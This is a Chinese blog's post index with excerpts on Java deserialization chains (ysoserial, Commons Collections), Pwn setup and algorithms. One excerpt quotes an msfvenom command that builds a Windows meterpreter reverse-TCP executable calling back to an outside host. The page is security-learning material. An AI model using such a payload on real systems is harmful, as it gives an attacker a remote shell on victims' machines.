摘要: 环境准备 JDK1.8(8u421)这里ysoserial没有提及JDK版本的影响,我以本地的JDK8版本为准、commons-collections4(4.0 以ysoserial给的版本为准)、javassist(3.12.1.GA) cc4.0、ClassPool <dependency> < 阅读全文
posted @ 2024-11-19 14:29 Erosion2020 阅读(65) 评论(0) 推荐(0)
摘要: 环境准备 JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本)、javassist(3.12.1.GA) JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64 阅读全文
posted @ 2024-11-19 11:10 Erosion2020 阅读(89) 评论(0) 推荐(0)
摘要: 环境准备 JDK1.8(8u421)这里ysoserial,我以本地的JDK8版本为准、commons-collections4(4.0 以ysoserial给的版本为准)、javassist(3.12.1.GA) cc4.0、ClassPool <dependency> <groupId>org. 阅读全文
posted @ 2024-11-18 22:26 Erosion2020 阅读(87) 评论(0) 推荐(0)
摘要: 准备环境 JDK1.7(7u80)、commons-collections(3.x 4.x均可这里使用3.2版本) JDK:https://repo.huaweicloud.com/java/jdk/7u80-b15/jdk-7u80-windows-x64.exe cc3.2: <dependen 阅读全文
posted @ 2024-11-18 20:37 Erosion2020 阅读(336) 评论(0) 推荐(0)
摘要: 本人在学习Java反序列化中,发现网上大多都是自己分析一些逻辑内容,导致可能每一个版本的payload都不相同,对于学习时并不友好,所以我在学习了cc链之后,准备总结一下cc链中的内容,并以ysoserial的代码为主来记录调试分析ysoserial中的payload代码,并以此为学习路线。 yso 阅读全文
posted @ 2024-11-18 18:10 Erosion2020 阅读(804) 评论(0) 推荐(0)
摘要: 使用msfvenom生成木马,语句如下: msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=43.154.xxx.xxx lport=4455 -f exe -o ero.exe 然后启动msfconsole,使用multi/handler监 阅读全文
posted @ 2022-06-29 10:45 Erosion2020 阅读(822) 评论(0) 推荐(0)
摘要: Pwn环境配置 本文演示使用干净的Vmware下安装的的 Ubuntu 18.04 LTS镜像 配置以下Pwn环境: OS(系统)配置 VMware Tools net-tools open-vm-tools 更换软件源 vim 开启root账户权限 其它环境配置 git gcc python3-p 阅读全文
posted @ 2022-05-18 18:44 Erosion2020 阅读(3187) 评论(0) 推荐(2)
摘要: 从零构建一个支持扩展的二目计算器 你需要了解的前置知识 逆波兰后缀表达式 面向对象思想 → 多态 快速幂 & 矩阵快速幂 扩展运算符时使用 构建计算规则 先思考计算时候我们需要注意的事项 运算符优先级 运算符在遇到数字之后的计算规则 考虑这两项,如果将规则直接写到具体的计算代码中就会导致代码无法扩展 阅读全文
posted @ 2022-04-13 16:38 Erosion2020 阅读(58) 评论(0) 推荐(0)
摘要: 快速幂 幂 当前博客只讨论幂数为整数的情况 幂是数学中的概念,比如要计算11的5次幂,其本质上就是5个11相乘得到的结果: 对于数学中的概念 任意一个数字的0次幂都等于1 一个数字的负n次幂都等于 1 / 该数的n次幂 一个数字的正n次幂等于n个该数字相乘 当然,我们也可以很容易得到如下代码 // 阅读全文
posted @ 2021-12-18 16:23 Erosion2020 阅读(93) 评论(0) 推荐(0)
摘要: 基础知识 两数交换 基于比较的排序中两数交换是很常见的操作,这里给出了三种写法,不过还是推荐第一种,因为后两种都是有问题的写法,但是仍然有值得学习的地方 class MySort { // 常见的写法 public static void Swap(int[] array, int m, int n 阅读全文
posted @ 2021-09-10 10:56 Erosion2020 阅读(105) 评论(0) 推荐(0)